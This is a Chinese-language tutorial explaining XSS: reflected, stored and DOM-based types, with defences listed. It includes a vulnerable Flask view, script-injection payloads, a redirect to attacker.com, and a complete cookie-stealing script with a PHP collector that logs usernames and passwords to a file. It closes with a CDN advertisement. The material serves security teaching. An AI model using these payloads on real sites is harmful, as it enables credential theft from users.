亲宝软件园·资讯

展开

什么是xss攻击

zmztyas 人气:1

 概述:

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
大的,是web安全的头号大敌。 

什么是xss攻击

xss攻击全称跨站脚本攻击是一种在web应用中的计算机安全漏洞,它允许web用户将代码植入到提供给其他用户使用的页面中

攻击的条件

实施xss攻击必须具备两个条件

一.需要向web页面注入恶意代码

二.这些恶意代码能够被浏览器成功的执行

xss攻击的几种方式

一.反射型xss,(非持久型)

当某个站点存在xss漏洞时,这种攻击会通过url注入攻击脚本,只有当用户访问这个url时才会执行攻击脚本.

举例案例:

@app.route('/hello1')

def hello1():

    name = request.args.get('name')

    response = '<h1>Hello, %s!</h1>' %name  

 这个视图函数接收用户通过查询字符串(url后面的参数)传入的数据,未做任何处理就把它直接插入到返回的响应主题中,返回给客户端,如果用户输入一段js代码作为查询参数name的值:

http://127.0.0.1:5000/hello4?name=<script>alert('Bingo!')</script>  

这时候客户端收到的响应将变成下面的代码

<h1>Hello,<script>alert(‘Gingo!’)</script>!</h1>  

当客户端收到响应后,浏览器解析这行代码会打开一个弹窗下图

firefox浏览器(55.0版本)上的响应

 

 在chrome72.0版本上的响应

 

 在IE11上的响应

 

 

结论:针对跨站攻击,某些浏览器已经进行了安全防范.

重点说明:这里的案例只是一个简单的弹窗,这里能执行弹窗代码,说明任何js代码都可以被执行,那么getCookie这些代码就可以窃取用户cookie和其他敏感数据,重定向到钓鱼网站,发送其他请求,执行注入转账,发布广告信息,在社交网站关注某个用户等

如果网站A存在XSS漏洞,攻击者将包含攻击代码的链接发送给网站A的用户Foo,当Foo访问这个链接时就会执行攻击代码,从而受到攻击。

 

二.存储型XSS(持久型)

存储型XSS也被称为持久型XSS(persistent XSS),这种类型的XSS攻击更常见,危害也更大。它和反射型XSS类似,不过会把攻击代码存储到数据库中,任何用户访问包含攻击代码的页面都会被殃及。

比如,某个网站通过表单接收用户的留言,如果服务器接收数据后未经处理就存储到数据库中,那么用户可以在留言中出入任意javaScript代码。比如攻击者在留言中加入一行重定向代码:

<script>window.location.href=”http://attacker.com”;<script>

其他任意用户一旦访问关于这条留言的页面,包含这条留言的数据就会被浏览器解析,就会执行其中的javaScript脚本。那么这个用户所在页面就会被重定向到攻击者写入的站点。

 

三.DOM-based 型

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞

即使不插入js代码,通过HTML和XSS注入也可以影响页面正常的输出,篡改页面样式,插入图片等。

如何防御xss攻击

1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。 

2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。 

3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。 

4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。 

5. 后端接口也应该要做到关键字符过滤的问题。 

 

案例一:留言板的XSS攻击

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

 

 因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

 

 这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

 

 我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

来看一下http://test.com/index.php中的内容

<?php
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){
 
        }
    }
?>

这样恶意用户就把访问留言板的用户的信息窃取了 

  

案例二:输入框的XSS攻击

 

 1、如果我直接在用户名这里输入<script>alert("1")</script>,然后输入一个错误的密码,并没有执行script代码,因为返回的html页面是这样的:

说白了就是自己拼接,将input标签进行闭合,然后将script代码缀在后边。

通过用户名的输入,将input拼接成如下,即可实现script代码的执行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

为什么会执行?

可以将拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因为input已经闭合了,所以script代码会执行,至于拼接后的html文件是有语法错误的问题(因为最后剩下一个"/>,这个html是有错误的,但是不影响页面展示和script代码执行)就可以忽略了。

因此,只需要在用户名那里输入:

abc"/><script>alert("1")</script>

然后输入一个错误的密码,点击登录,就会执行script代码,弹出弹框。

 

 

参考网站: 

https://blog.csdn.net/qq_41725536/article/details/85722124

https://github.com/yvettelau/step-by-step/issues/18   跨站脚本攻击XSS案例及其解决方案  (推荐)

 

结语:

如今,各种类型网络攻击日益频繁,除了XSS攻击之外,比较常见的网络攻击类型还包括DDoS攻击、CC攻击等,它们非常难以防御,除了需要做好日常网络安全防护之外,还需要接入高防服务,可以接入天下数据高防cdn,通过天下数据高防cdn隐藏源IP,对攻击流量进行清洗,保障企业网络及业务的正常运行。

加载全部内容

相关教程
猜你喜欢
用户评论